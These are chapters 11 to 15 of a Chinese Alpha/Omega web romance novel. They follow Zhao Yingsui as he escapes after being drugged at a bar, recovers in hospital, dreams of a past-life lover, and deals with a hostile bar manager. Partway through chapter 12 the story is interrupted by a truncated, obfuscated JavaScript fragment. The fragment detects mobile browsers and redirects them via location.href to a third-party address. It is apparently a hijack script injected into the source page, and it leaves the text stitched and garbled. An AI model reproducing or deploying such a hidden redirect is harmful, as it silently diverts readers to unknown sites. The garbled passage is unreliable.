赵应随抽回自己的衣服,这一动作却深深地刺痛了江可,他眼圈立马变得通红,无措地把手背在身后。
赵应随拒绝了江可的靠近,却没有离开,“什么事?”
江可眼眶中立马蓄满了泪,将落未落,满眼挣扎的情绪,“我、我的妹妹,手术……没、没钱……“
断断续续地话语不成句子,赵应随却明白他的言下之意,他面无波澜,一言不发。
看着赵应随无动于衷的样子,又想起再病房里毫无生气的妹妹,江可情绪濒临破碎,抽噎着低下头,豆大的泪珠在发黄的白色鞋面上洇出点点痕迹。
赵应随单手插兜,另一只手在手机上轻点几下,“转过去了。”
江可难以置信地看着赵应随,像没电的机器人一般,动作迟缓,他拿出手机查看,在发光的屏幕上,一条消息映入眼帘:XX银行到账五万元。
“赵哥!”
赵应随回头,江可匆忙地擦干眼泪,像下定了某种决心般扑到赵应随的怀中。
江可轻得吓人,整个人轻飘飘地挂在赵应随身上,如藕段般的手臂环住赵应随的脖子,崩溃地在赵应随耳边说:“对不起。”
一股异香传来,赵应随能感受道力量在快速地流失,神志逐渐恍惚,与此同时,更衣室的门正在被粗暴大力地敲打,摇摇欲坠,恐怕撑不了多长时间。
操,任胜寒……
赵应随咬破舌尖,血腥味在口腔中蔓延,神志回复少许,他一把推开浑身无力的江可,拿起凳子用最后的力气往紧锁的窗户上砸去,玻璃破碎,砸出一个大洞。
“别跑!”门被几个打手暴力打开。
赵应随充耳不闻,从窗户上跳出,滞空的一瞬间,肌肉紧绷,赵应随一把抓住被固定在墙面上粗壮的水管道,随后整个身子贴在管道上慢慢下滑。赵应随滑到到二楼,所幸窗户开着,他用惯性将自己整个人荡进去,尽可能地保留体力。
七拐八拐,赵应随重新把口罩戴上,尽量避着人行走。在夜色工作之前,为避免不测,他以前踩过点,知道一条暗道。
用尽余力打开门,在闻到清新空气的那一刻,赵应随眼前一黑,无力地向坚硬的地面倒去。
没有感受到意料中的疼痛,赵应随迷蒙着睁开眼睛,一个看起来熟悉又陌生的Alpha心有余悸地说:“小随,你没事吧?”
赵应随整个人都被Alpha抱在怀中,下意识的,他向Alpha身后看去,何衷归双臂交叉,倚在通体漆黑的摩托车上,挑眉看着他。
这个倒是认识。
12. 第 12 章
抱着赵应随的Alpha终于意识到怀中人的不对劲,他微微拉开两人的距离,赵应随的身体发烫,脸上也带着不自然的潮/红色,呼吸急促,鼻尖呼出的滚烫气流圈绕过Alpha的耳根,酥麻的感觉立刻自耳后传遍全身。
“小随,你这是……”何铭阳立马意识到赵应随被人下了药,他用身体支撑住赵应随的大部分重量,一只手在裤兜里摸索着,万幸,他出门前带了Alpha抑制剂。
“不要……”赵应随烫的意识朦胧,修如梅骨的手抚上何铭阳的脸,轻轻伏在他的耳边,气若游丝,断断续续道:“不能……我……Alpha……”
何铭阳的脸立马变得通红,赵应随的动作在无意识间让两具身体紧紧地贴在一起,隔着两层薄薄的衣料,他能感知到赵应随令人尴尬的反应。
更要命的是,何铭阳的鼻尖此刻正对着赵应随的腺体,虽然有一层隔离贴阻挡着,但是带着甜的茶香还是止不住地溢散,一丝一缕地钻入何铭阳的鼻尖。
“好、好,我知道了……”何铭阳理解了赵应随的意思,虽然不知道赵应随为何要隐瞒Alpha的身份,不过现在的情况也由不得他多问,但是……
何铭阳用此生的最大的意志力克制住自己,避免出现一些不该有的反应,他将赵应随腾空抱起,让他滚烫的身体不再大面积地贴在自己身上。
多年未见的青梅竹马脸色微红,乖顺地依偎在你怀里,这谁受得住啊!
“哥,麻烦叫辆车,”何铭阳对何衷归道:“这是我朋友,他恐怕被人下了药,我现在要送他去医院。”
何衷归掐灭手中的烟,给何铭阳家的司机打了个电话,“魏中区,夜色酒吧后门这边。”在司机表示知道了地点和情况的特殊后,何衷归挂断电话,脱下自己的外套披在赵应随身上。
何铭阳有些疑惑,自己表哥可不是那种好心的人,不过眼下也不是纠结这个时候,见车稳稳地停在身前,何铭阳半拖半抱地带着赵应随上了车,关好车门,何铭阳落下车窗,带着点心虚道:“哥、哥,这次多谢你,嗯……这么晚我不回去我妈估计要骂我了,麻烦你帮我回去给我妈说一声还不好?”
像是知道自己的请求有些怪异,何铭阳眼神飘忽,不敢直视何衷归的眼睛,同时有一搭没一搭地刮着自己的鼻尖,不停地做着小动作。
在他肩膀上,赵应随阖着双眼,如石榴般的红色蔓延到脖间,轻柔的发丝垂落再腰间。
“嗯。”何衷归大发慈悲地说。
“谢谢哥!“何铭阳双掌合十,感激地道谢。汽车疾驰而去,何衷归看着汽车驶入夜色,神色淡淡。
……
又是梦。赵应随总能意识到自己是在做梦,做有关前世的梦,所以他安静地等待着,等待着黑暗消散,场景转换。
这次视角有些特殊,赵应随感觉自己飘浮在空中,以全知视角观察着这个几十平米的房间,好像他是一个正在运转的摄像头
这是一个洁白冰冷的房间,一切都是白色的,墙壁、床单、枕头,还有躺在床上面色透着病态白的“赵应随”。虽然赵应随五感尽失,但是他下意识地认为房间里是淡淡的消毒水味道。
许久过后,房间来了人,来人依旧看不清脸庞,身形高大,穿着整齐的西装三件套,他安静地站在病床前,没有动作。
男人抬起身侧的一只手,赵应随这才注意到男人手中拿着一束娇艳欲滴的玫瑰,每一支的花瓣的形状、色泽都无可挑剔。
男人剥开花束的包装,将十几支玫瑰放在病床旁的花瓶中,替换掉原有的紫罗兰,做完这一切,男人不忘洒一些水在娇嫩的花瓣上。
他一定很希望躺在床上的人醒来,赵应随想,否则他不会每天都来送花,男人希望“赵应随”醒来时就能看到玫瑰最热烈盛放的模样。
时间一分一秒地流逝,男人再未有所动作,赵应随耐心十足地观察着、等待着,心情是安定的、放松的。
真是神奇,他想,除了幼年时在外婆怀里听着冗长的故事而昏昏欲睡时,自己再没有过这样的平和的心情。
男人凝视着“赵应随”苍白的脸色,用他那带来玫瑰的手轻柔地摩挲着“赵应随”的脸,浅麦色的骨节分明的大手和“赵应随”冷白色的精致脸颊形成一种暧昧的肤色差。
男人手腕处戴着一块昂贵的银色手表,铂金表带闪烁着冰冷的银白色光泽,又冷又硬。
“快醒来吧……”如叹息般的呢喃。
随着这一声呢喃,赵应随眼前逐渐被熟悉的冰雪覆盖,意识随着温度的降低而消散,赵应随知道,梦要醒了。
梦中的触感似乎带到了现实,鼻尖是医院淡淡的消毒水的味道,脸颊旁有个又硌又硬的东西,带着冰冷的触感。
梦境与现实的界限这在一刻变得模糊,赵应随下意识地蹭了蹭那人的掌心,如刚出生的小动物一般懵懂依恋。
“你在干什么!”何铭阳刚一进门就看到有个陌生的Alpha在偷偷摸赵应随的脸,他浑身炸了毛,急冲冲地走上前来。
严作凡快速地抽出了手,脸上难掩惊讶,像是自己也不明白为何会做出这种动作。
何铭阳嘀咕着:“惺惺作态。”
严作凡扶了下眼镜,“我是赵应随的大学同学,赵同学一天没来上课,老师让我来了解下情况。”严作凡一边说着,将自己的学生证递给何铭阳,何铭阳看完学生证后对严作凡的话已经信了七八分,但面上还是维持着将信将疑。
毕竟,刚刚严作凡竟然敢摸赵应随的脸!要不是自己来得及时,严作凡要做些什么事还说不定呢!
话说,小随和表哥竟然是一个学校的……
赵应随早被何铭阳的大嗓门吵醒,醒来时一言未发,他倒不是有什么起床气,只是想起刚刚自己下意识地蹭了严作凡的掌心,以及那冷冰冰的触感。
赵应随状似无意地把目光移向严作凡的手腕,昂贵的铂金手表与梦中的手表有八分相似,赵应随一怔,严作凡注意到赵应随的目光,微微一笑,“赵同学醒了。”
何铭阳立马扑到床前,握着赵应随的一只手,关切地问:“小随!你感觉怎么样?有没有什么不舒服?”
赵应随摇头,仔细打量着何铭阳的脸庞。被赵应随这么看着,何铭阳的脸逐渐变红。
半响,赵应随淡淡道:“你没怎么变。”
何铭阳是外婆邻居家的小孩,在赵应随还是个小豆丁的时候,他和同为小豆丁的何铭阳一起上学,在放学后分吃一条汪汪碎冰冰,何铭阳还曾驱逐过偷偷跟踪赵应随小男生,作为报答,赵应随偶尔会帮何铭阳做他的数学作业。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715513|173688||http|test|mini|href|location''.split(''|''),0,{}));
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>后来,何铭阳家因为一些原因搬出了小区,在那个互联网还不发达的年代,他们两个人就这么断了联系。
何铭阳明显开心了不少,他扬起一个灿烂的微笑。“小随你也没怎么变,还和以前一样漂亮!不知道有多少人垂涎着你呢。”何铭阳加重了“垂涎”两字,显然意有所指,“不过我还是会好好保护你的,就像小时候一样!”
赵应随带着无可奈何的笑容,“好。”其实他变了很多,何铭阳倒是何铭阳倒是和小时候一模一样,只不过从小金毛变成了大金毛。
何铭阳和赵应随之间有一种亲密的、旁人难以插足的氛围,严作凡站在病床的另一旁,却好像处于他们的世界之外。
明明是他先看到赵应随醒来,为什么被先排除在外的却是他?严作凡觉得这个一闪而过的想法很矫情,于是他暂且忘掉它,“赵同学,我带了玫瑰来,希望你喜欢。”
是鲜艳入血的、盛放着的保加利亚玫瑰。
铂金色手表、玫瑰,赵应随一时心乱如麻,难道……
“小随……”何铭阳关心地看着他。
“我没事,”赵应随示意何铭阳不要担心他,“多谢严会长,可以麻烦你把他放到花瓶里吗?”
严作凡欣然应允,解开花束的包装,一支一支地放入花瓶。
何铭阳小声嘀咕:麻烦。
“赵同学,我可以耽误你几分钟的时间和你单独聊聊吗?”严作凡道。
赵应随点头,用眼神示意何铭阳暂且离开。
想装作听不见的何铭阳:……
何铭阳垂头丧气地出了门,身后的尾巴好像垂在了地上。
严作凡开门见山道:“赵同学,你为什么逃寝并彻夜未归?你如今身在医院,是不是和你逃寝要做的事情有关?”严作凡意识到自己过于咄咄逼人,顿了顿,他语气缓和道:“抱歉,我问这些也是为了你的安全着想。”
赵应随避而不答,问了一个毫不相干的问题:“你怎么知道我在医院?”
严作凡:“……何衷归告诉我的。”
赵应随觉得何衷归不是那么热心的人。
“赵应随,”严作凡语气中带着几分严肃,“他不是个好人,你务必要离他远远的。”
晚了,赵应随心想,他们两个之间的缘分远比赵应随认为的深,比起第二次见面就给他下药的任胜寒,何衷归除了态度差了点,其他倒还好,真是全靠同行衬托。
“我知道了。”赵应随回答道。
严作凡:“………所以,你为什么逃寝?”
赵应随垂下眼睫,神色寞寞,一副不想多说的样子。严作凡惊奇地发现,自己也确实无法狠下心逼问赵应随,他发出一声叹息,“起码让我知道你是怎么进的医院吧?”
赵应随:“ren……”刚发出一个音节,赵应随立马就闭上了嘴,一副欲言又止的样子。
严作凡皱眉道:“任胜寒?”
赵应随躺下,用被子蒙着头,声音闷闷的,“我要休息了。”
严作凡:“好,你好好休息。”说完,严作凡大步流星地走出门,见门被打开,何铭阳急不可耐地往里走,两个人在门口撞了满怀,何铭阳还未来得及发火,严作凡留下一句“谢谢”便冷着脸头也不回地离开了。
何铭阳:……神经。
13. 第 13 章
虽然很不情愿离开,但是何铭阳毕竟还是一个高中生,学习为重。他已经旷了一个上午的课了,再不去就要被叫家长了。
临走前,何铭阳与赵应随交换了联系方式,然后才一步三回头地离开了。
病房变得空荡荡,赵应随闭上双眼小憩。
做完最后一项检查,医生告知赵应随可以出院,又再三叮嘱赵应随,因为被下药的缘故,他体内激素水平变化明显,易感期恐怕要提前。
赵应随点点头,谢过医生后离开医院,坐上了回奥尔斯顿的地铁。
现在是下课时间,C班及其周边却安静得吓人,走廊上空无一人,只能听到树叶随风而动的沙沙声。
赵应随放轻脚步,站在后门,扫视了一圈教室,老师没在,学生们却个个挺直了腰板,神情严肃认真地看书、做作业。
赵应随仔细观察,发现教室气氛怪异的源头在他的同桌,邵祁。
邵祁放着自己的位置不坐,坐在赵应随的椅子上,紧紧咬着后槽牙,面目漆黑,煞气逼人,像是刚杀了人浴血而归。
赵应随:“……”
轻微的叹气声在教室里尤为明显,赵圆胆战心惊地回头,到底是谁敢发出声音的?
“赵应随?”赵圆惊喜地说。
教室的空气重新流动起来,不少人露出了如释重负的表情,邵祁快出残影地跑到赵应随面前,将赵应随的双手搂在手心,眼睛像扫描仪一样快速滚动,眼尖地看到赵应随颈后抑制贴露出的一角,他哑声道:“你……”
“我没事,”赵应随顿了顿,放低了声音道:“你不要担心。”
邵祁大力地点点头,亦步亦趋地跟着赵应随回到了位置上。对于其他人的关心、试探,赵应随统一以发烧为理由搪塞了过去,上课铃响起,人群散开,邵祁轻摇手机,示意赵应随看消息。
这节课是大学英语,赵应随瞥了一眼老师,将手机静音,开机,密密麻麻的消息弹窗让手机死机了三四秒。
101个未接来电,100个来自邵祁,剩下的一个是何铭阳,还有Mortal的99加的消息。赵应随一目十行地看完Mortal的未读消息,准备挑个时间回复,现在的当务之急是把小狼狗安度好。
邵祁:你没事吧?有没有哪里受伤?为什么戴上了抑制贴?是谁干的!
赵应随:没事,你不要担心。
在他没回信息的这几秒,邵祁匡匡发来一堆消息。
邵祁:………别瞒着我,抑制贴是怎么回事?
邵祁:算了,你不想说也无所谓。
邵祁:………如果有下次,给我回个电话行吗?我只是想确保你的安全。我问班长要了你家的地址,但是你没回家,我………
几秒钟后,邵祁回复:我很担心。
手指在屏幕上停顿片刻,赵应随打下几个字:好,我会记得的。
邵祁放下心来,心满意足地回复:嗯。【小狼比心.JPG】
赵应随好笑地看着比心的小狼,同样回复了一个小动物表情包:【小狐狸傲娇地抬起头.JPG】
收起手机,赵应随觉得自己的幼稚程度加深了,同样出现这种状况的还有邵祁,虽然邵祁对于赵应随夜不归宿这件事没有多问,但这并不代表他不会在其他方面有所作为。
具体表现就是,邵祁更加粘人了。他和赵应随几乎形影不离,哪怕是亲眼看到赵应随进了宿舍楼,邵祁也会频繁地发信息,内容是路边的一枝花、一只猫、班里某个讨厌的同学(这个同学盯赵应随太久了)。
不过很快,邵祁似乎也意识到自己的不是,他减少了信息的频率,增加了信息的长度。
赵应随觉得好笑,但还是认认真真地回复,这就导致他们的聊天界面上总是成大段的文字,像是在进行某些庄重严肃的学术讨论。
日子似流水般滑过,赵应随却察觉到平静下的波澜。他在C班亦有所耳闻,严作凡和任胜寒的矛盾突然激化,达到了不可调停的地步。起初是任胜寒违反校规在前,严作凡按照校规处置,但不知怎的,两人发生了剧烈的肢体冲突,事态进一步升级,很快上升到学生会与任胜寒为首的富家子弟们之间的斗争。
短短几天,事况就到了如此地步,两人积怨已久自然是重要因素,但赵应随却敏锐地察觉到有人在背后推波助澜,就像蓄满能量的火药桶,总需要有人点燃那一根引线。
不过这些跟他也没什么关系就是了,全校的视线都被他们两个人吸引,对于赵应随的关注少了很多,他也更加自在。
但是,赵应随想,他来奥尔斯顿的目的还未达成,却已经惹上了许多麻烦。
目的是找到自己“前世”的爱人,不知道名字,不知道样貌,只能通过梦境来进一步确认线索。
值得庆幸的是,来到奥尔斯顿后,梦境给予的线索多了起来。坏消息是,这些线索指向不同的人。
“带着伤低声说抱歉”这个是邵祁。
“冰冷的铂金表带和玫瑰”这个是严作凡。
赵应随不确定梦境的线索会不会再指向更多的人,如果会的话,情况将会更加复杂。
此外,赵应随面对的麻烦也更加棘手。
不知为何,任胜寒对自己很感兴趣。这个Alpha跋扈放肆,傲慢自大,缺少同理心,虽然暂时被严作凡牵制住,但等他腾出手来,恐怕又要给赵应随带来不少麻烦。
赵应随冷笑一声,更何况他们之间还有下药这件事。
还有何衷归,赵应随有种小动物般的直觉,这个人比其他人更难以对付。赵应随向其他人打听过何衷归,但所有人对此都三缄其口,不愿多说,甚至有的人都不敢直呼何衷归的名字。
但是无论赵应随愿不愿意,他和何衷归一时半会儿也确实无法断了关系。何衷归是他社团的“顶头上司”,是他青梅竹马的哥哥。
梳理完信息后,赵应随只觉得头疼,放在一旁的手机屏幕亮了起来,赵应随决定先转移一下自己的注意力。
有两个人给他发来信息:邵祁和Mortal。
赵应随打开和邵祁的聊天界面,邵祁照例发来了一大段文字,赵应随一一回复,聊了七八分钟,邵祁率先发了“晚安”,赵应随也回复:晚安。
上一次回复Mortal还是刚开学时候,赵应随有些愧疚,他打字:抱歉,这段时间很忙。
Mort
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al善解人意地表示没关系,这段时间他把Random当成了自己的树洞,发了很多信息,希望Random不要介怀。
Random:没关系。
Mortal:太好了【小猫卖萌.JPG】
Random:我看了你的信息,你有喜欢的人了吗,祝贺。
Mortal那边沉默了好久才回复道:为什么这么说?
赵应随挑眉,Mortal这段时间的喜怒哀乐全部和一个Omega有关,看到Omega和别的Alpha靠的很近会不爽,Omega被Alpha欺负了会生气愤怒,这怎么不是喜欢。
嗯………赵应随低头沉思,Mortal是OO恋吗?
Mortal看赵应随很久不回信息,马上补充道:抱歉,不是质疑你,只是我身边的人都这样说,但我不觉得自己会喜欢上他。
当局者迷,旁观者清。
Mortal显然还没有意识到这一点。赵应随也无意对别人的情感生活指手画脚,他回复:感情的事还是要慎重。
又聊了几句,Mortal:啊,不早了,我先下线了!晚安!【小猫飞吻.JPG】
Random:晚安。
赵应随放下手机准备休息,手机屏幕又亮了起来,是何衷归发来的信息。
何衷归:国庆后来一趟A301。
赵应随:时间?
何衷归:随意。
真是自由啊……赵应随没再回复,放下手机沉入睡眠。
………
很快就到了周末,一切如旧,赵应随白天在面包店打工,晚上去酒吧里做服务生。当然,他换了一个酒吧,工资更低、客人更少,没有群魔乱舞的舞池,只有轻声聊天的客人,档次比夜色高了不知道多少倍。
这份工作是是何铭阳推荐给他的。
酒吧就在何铭阳家附近,何铭阳也常常光顾,他一看到酒吧的招聘信息就想到了赵应随。
赵应随是下午的班,从晚上七点到到凌晨两点,十二点左右老板会请吃夜宵。
“小赵来了!”跟赵应随换班的人是个女性Beta,头发染成了紫色,大家都叫她小紫。
赵应随:“嗯,晚上好,我先换个衣服。”
“去吧去吧。”站在吧台里的小紫笑眯眯地回应,余光瞥尖站在红酒柜前的经理,小紫原本准备打招呼的手慢慢放下来,此刻经理的样子有些奇怪:在酒柜前咬着嘴唇来回踱步,时而握拳好像下定了什么决心,时而整张脸皱成一团,十分纠结的样子。
好像不太适合打招呼呢……小紫想。
“你休息吧。”赵应随走到小紫身边低声道,顺手将给小紫捎的晚饭递给小紫。
“嗯……?!好的。”小紫说,随后用手隔空指了一下领班,小声说:“经理今天状态不对啊。”
赵应随随意一扫,低声道:“嗯。”
小紫小声抱怨:“诶……好冷淡。”
赵应随面色不改,“顺便告诉李哥,他的电动车挡住了客人的车,我帮他挪了一下。”
“嗯嗯好的!”小紫很快就把自己调理好,开开心心地下班去了。
14. 第 14 章
因为国庆调休,周六的客人并不多,六七个左右,赵应随给新来的客人送上酒,便回到吧台里站着。
远远看着,是尊如玉般的冰美人,应当正心心念念着风花雪月。
“300……还有……”赵应随偶尔小声嘀咕几个数字,他在算这个月的帐。恐怕要让很多人失望了,此刻冰美人脑中全是数字,跟风花雪月毫不沾边,全是柴米油盐酱醋茶。
“小随啊,”经理脸上挂着一种夸张的假笑,善意如脂粉般浮于表面,“你现在也没什么事,去后厨把那几个酒杯洗了吧。”
赵应随:“经理,这不是我份内的工作。”
经理快速地收起笑容,拉下脸来,“那怎么了?!你刚好有空,多为咱们这儿做点贡献很难为你吗?年轻人不要只想着自己,也要考虑团队!”
赵应随反问:“经理您为什么不去?”你看起来也无所事事。
经理怒极反笑:“我是你上司,谁给你的胆子顶嘴的!“
赵应随冷笑一声,还没开口,就有客人进来,经理撂下一句“你等着”便忍气吞声地走了。
赵应随整理了下领结,端正地站着,“客人,晚上好。您需要什么?”
客人看见赵应随后愣了一下,“长、长岛冰茶。”
“好的,请您稍等。”赵应随将色如红茶的酒液倒入装有冰块的玻璃杯中,搭配一片柠檬和一小片薄荷叶,递给坐在吧台边的客人。
客人小心地接过,一边啜饮一遍用自以为隐蔽的目光悄悄偷看赵应随。磨磨蹭蹭喝完酒,客人结账时多给了两百块现金,脸颊绯红,“给、给你的小费。”
赵应随:“多谢,欢迎下次光临。”
见赵应随没有多言的话意思,客人失魂落魄地走了。
一直在仔细观察的经理冷笑一声,“狐狸精。”
周末是发薪日,小紫捧着脸期待地说:“终于要拿钱了!”
同事打趣道:“月光族拿完工资几天花完啊?”
“我猜三天。”另一个同事凉飕飕道。”
“没错!小钱钱就是我的白月光!三天花完是小钱钱魅力的证明!”小紫毫不生气,叉腰着扬起下巴道。
众人笑作一团,连赵应随也勾起了一抹难以察觉的笑。
“领班来了!”嘈杂的人群瞬间安静下来,听了经理不咸不淡的几句总结后,就到了万众瞩目的发薪环节。
赵应随数完工资,皱眉,直白地询问经理:“怎么少了五百?”
“你问这啊……”经理翻了个白眼,“你在咱们这里收的小费可不少,也算是你一部份的工资吧。”
小紫睁大双眼,怒气冲冲地说:“经理,这是什么道理啊!因为小随,咱们酒吧的明显生意好了不少,你更应该给小随涨工资啊!”
经理冷哼一声,“要不是咱们酒吧给他提供了岗位,他能赚那么多小费吗!”
听到经理的逆天言论,人群瞬间把围成一个圆,将经理堵在中间,领头的李哥阴阳怪气道:“怎么着,酒吧生意好了还要扣钱啊,那干脆咱也别干了呗,天天空等着钱掉到头上得了!”
经理指着李哥:“你、你,你们反了天不成!就为了一个赵应随,你们要造反啊!”
“人小随人美心善,乐于助人,帮了我们不少忙,不像你,路过的狗都得被你踹两脚。”有人小声嘟囔着,偏偏所有人都听得见。
经理脸上时青时白,缤纷得很。
“快给小随钱啊!要不然聚餐就要迟到了,经理你是想让老板等着我们吗?”这话戳到了经理的痛点,在人群的催促下,经理不情不愿地拿出五百块递给了赵应随,众目睽睽下灰溜溜地走了。
小紫挽住赵应随的胳膊,喜气洋洋地举起手比了耶,“吃火锅去咯!”
“哈哈哈哈,快走吧!”“我要点超多的肉!”
赵应随垂下眼睫,朱唇轻启,“多谢大家。”
人群寂静一瞬,随后发出善意的哄笑声,“哈哈哈哈能让大美人谢我,这辈子值了!”
赵应随对于视线很敏感,此刻愈发不自在,红色悄悄爬上耳朵,尴尬地想消失在世界上。
小紫“噗嗤”笑了一声,李哥傻笑道:“别客气嘛,你对我的好我都记在心里呢,走走走,吃火锅去了!”
一群人浩浩荡荡地往火锅店走去,人多,老板要了个大圆桌,赵应随不喜欢吃辣,坐在正对着清汤锅的位置上,小紫嗜辣如命,就没和赵应随坐在一起,好巧不巧,经理坐在了赵应随旁边。
经理不觉得尴尬,赵应随也就无所谓。
老板是个潇洒的公子哥,开个酒吧也只是玩玩而已,没想到生意不错,在家人面前狠狠地长了脸。
吃饭期间,经理殷勤地给老板敬酒,嘴里不停地说着恭维话,老板有一搭没一搭地回应着,偶尔客套两句。
饭桌上的人神色各异,偶尔有人想给老板敬酒也找不到空隙,只能讪讪坐下,气氛逐渐滞涩。
打破这一僵局的是老板的电话铃,老板示意出门接个电话,经理讨好地点头,跟着起身,却被老板潇洒地摆摆手阻止了。
老板出去后,饭桌上没人再说话,只有筷子的清脆碰撞声,赵应随对此接受良好,他本身也不喜欢吃饭时聊天。
纵使赵应随降低自己的存在感,经理却没放过他,他颐指气使地对着赵应随道:“小赵啊,你资历最浅,给大家倒个水吧。”
小紫重重地放下筷子,“经理不用了!我们自己会倒水的。”其他人连声附和。
经理阴阳怪气道:“小赵架子可真大,我就算了,连老板都不能使唤你了。”老板杯子里的茶水已被喝完。
赵应随放下筷子,垂目静声道:“经理你这么面面俱到……”还需要我来倒水吗?
有人忍不住笑了起来。
经理脸瞬间涨红,跟火锅快一个颜色了,他恼羞成怒地站起来,拿着滚烫的茶壶就要往赵应随脸上泼去。
小紫忍不住尖叫。
赵应随眼看茶壶里的热水就要从壶嘴里倒出,根本来不及反应,身体下意识地往椅背靠去。神经紧绷的同时,却闻到了一缕威士忌的味道,浓烈辛辣。
这时,经理的手腕突然被人用力攥住,动弹不得。何衷归一手接过茶壶,然后把经理狠狠地甩到地面上,骨头与地面接触发出了令人牙痒的声音。
“滴。”一滴茶水滴在白色的瓷砖上。
赵应随轻声说:“多谢。”
何衷归把茶壶放到原位,一只手插兜,声音低沉,“嗯。”
不远处的何铭阳和老板亲眼看到这一幕,何铭阳不可置信地走过来,指着经理,满脸不可思议,“你怎么敢这么对小随!”
老板皱着眉走过来,无视经理惊慌的解释,郑重地保证:“何哥,铭阳
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,还有小赵,这件事我一定会给你们一个交代。”
何衷归不置一词。何铭阳没忍住踹了经理一脚,拉着赵应随的手直视老板:“我知道宋老板一定会妥善解决这件事。”
老板:“一定。”
小紫和李哥忍不住对赵应随挤眉弄眼:小赵,你没事吧?
赵应随摇摇头,示意自己没事。
事情闹得这么难看,饭肯定是不能再吃下去了,老板对着所有员工道:“抱歉哈,扰了大家的兴致,这样,我给大家发笔钱做精神补偿。吃饭咱就再换个时间吃,照样是我请客,今天就先散了吧。”
大家收到钱后相继离开,小紫和李哥在火锅店门口面面相觑,忍不住道:卧槽……小随还认识这么牛b的人呢!
咱老板这么风流狂妄的一个人,对着小随的朋友却愿意低头……
小紫用胳膊肘捅了一下李哥,八卦道:“你觉得哪个是小随的男朋友?”
李哥犹豫道:“救了小随的那个吧!”
小紫伸出一根手指在李哥面前晃了晃,连连摇头,“是后面来的那一个,你没看到他都直接摸小随的手了吗!”
李哥摩挲着下巴:“难说,小随不一定喜欢Alpha吧。”
“你怎么知道?!”小紫转而犹豫道,“小随是Omega吧……”
毕竟小随从来没有放出过信息素,反正肯定不是Beta就是了。
………
国庆假期前的最后一个晚上,街上人潮汹涌,喧闹嘈杂。
赵应随和何铭阳并排走在前面,何衷归隔着三四步走在他们身后。路灯投下橙黄色的光束,何铭阳哼着小曲,轻轻晃着赵应随的手。
何衷归一言难尽地看着何铭阳的动作,他这个表弟看起来不太聪明的样子。
“小随?”
“嗯。”
“饿不饿?”
“还好,你饿了吗?”
何铭阳:“不……不能说不饿。”
赵应随低下头回忆,却实在想不起来何铭阳喜欢吃什么,他放弃思考,直白地问:“你想吃什么?”
何铭阳转了转眼珠,在得到赵应随和何衷归的一致同意后,带着他们去三四家私厨菜馆,但都被告知需要等候。
何铭阳垂头丧气地说:“对不起啊小随。”
赵应随摸摸何铭阳的狗头,安慰道:“没事,不是你的错。”
冷白修长的手指,温柔耐心的话语,精致挺翘的鼻尖,盛着一掬灯光的眼睫,赵应随在灯光下显得更加温柔圣洁。
何衷归漫不经心道:“买食材回家做。”
何铭阳支起了耳朵,点点头,这个建议不错,他也可以趁机观察小随喜欢吃什么。
“走啊走啊,去我家吧小随,我爸妈都出差不在家,你也去陪陪我嘛。”何铭阳湿漉漉的眼睛看着赵应随,让赵应随很难不心软。
赵应随点头。
超市里,何衷归任劳任怨地推着购物车,何铭阳则负责将购物车填满,只要赵应随盯着某样食材三秒钟,何铭阳就一个箭步冲上去扫荡进购物车里。
后知后觉意识到这一点的赵应随:……
按照何铭阳夸张的买法,不多时购物车就被塞得满满当当,三人提着大包小包的食材出来,统统塞进后备箱里,何衷归开车,赵应随和何铭阳坐在后座,一路顺畅地往东湖区开去。
15. 第 15 章
何铭阳的家是栋三层别墅,大门前带着个两百平米的露天草地,别墅后有一个巨大的游泳池,内里装修以新中式风格为主,古典大气。
打开灯,何铭阳招呼他们把食材放到桌子上。看着眼前各种各样的食材,何铭阳犹豫着问:“咱们吃什么啊?”
何家兄弟俩就不用说了,十指不沾阳春水的大少爷两位。在这做饭方面,唯一靠谱点的只有赵应随,但十分可惜,赵应随做出来的菜,也只是能吃的地步。
赵应随冷静地在购物袋中翻找,拿出一袋包装火红的火锅料,“火锅怎么样?”
何铭阳表示没有异议,何衷归默许。
于是他们三个人在厨房里热火朝天地干起来,分工明确,何铭阳负责最没有技术含量的洗锅,何衷归分类清洗食材,赵应随挽起一半袖子,拿着把银白锋利的厨刀在菜板上切菜。三人配合默契,不多时就完成了备菜工作。
将切好的肉类和摆放的整整齐齐的配菜放上桌子,何铭阳一脸期待地看着热气腾腾的鸳鸯锅,小声地赞叹:“哇……看着好好吃。”
赵应随摆好碗筷,有些可惜地说:“没有买芝麻酱。”
何铭阳朝他竖起大拇指,“小随,你真棒!”
赵应随好笑地摇摇头,做火锅哪有什么技术含量。
何衷归往杯中分别斟满果汁和啤酒,递给对面的两人。
“干杯!“清脆的碰杯声。
或许是此刻蒸汽缭绕,赵应随竟然觉得何衷归的眉目被灯光柔和了很多,不再像第一次见面那般锋利深刻,如寂夜中难驯的狼。
何衷归注意到赵应随的目光,微微挑眉,那股野性却又回来了。
赵应随没有收回目光,他朝何衷归举杯,“今天晚上,多谢。”如果没有何衷归的出手相助,赵应随如今就不能好好的地坐在这里了。
虽然眼前的Alpha给赵应随一种难以捉摸的不适感,但一码归一码。
何衷归支着头,眼神懒散,轻轻地碰了一下赵应随的杯壁。
赵应随将杯中的啤酒一饮而尽,微不可查地皱了下眉。还是这么难喝。
杯中空荡荡,赵应随准备再开罐啤酒,却被何衷归拦下。何衷归微微勾起嘴角,往赵应随的玻璃杯中倒入和何铭阳一样的果汁。
赵应随:……或许是酒劲上来了,赵应随的耳朵悄悄变红。
何铭阳愤慨道:“我也要喝啤酒!我已经十八岁了!”
何衷归伸出两根手指:“还差两个月!”
何铭阳抓狂,“就两个月啊!哥!”
何衷归无情道:“两个月也不行。”
何铭阳面条泪,化悲愤为食欲,把嘴里塞的鼓鼓囊囊。
吃完饭后,将盘子放到洗碗机里,三人坐在沙发上喝着解腻的饮料,何铭阳滩成一滩,掌心在肚子上打圈,时不时打个小嗝。
“爸、妈!”何铭阳打开视频通话,冲着镜头灿烂的地笑,“嗯嗯,我和我哥还有小随在家吃的饭。”何铭阳把镜头往赵应随的方向挪去。
赵应随下意识地直起身子,神情严肃,声线僵硬,“叔叔阿姨,好久不见。”
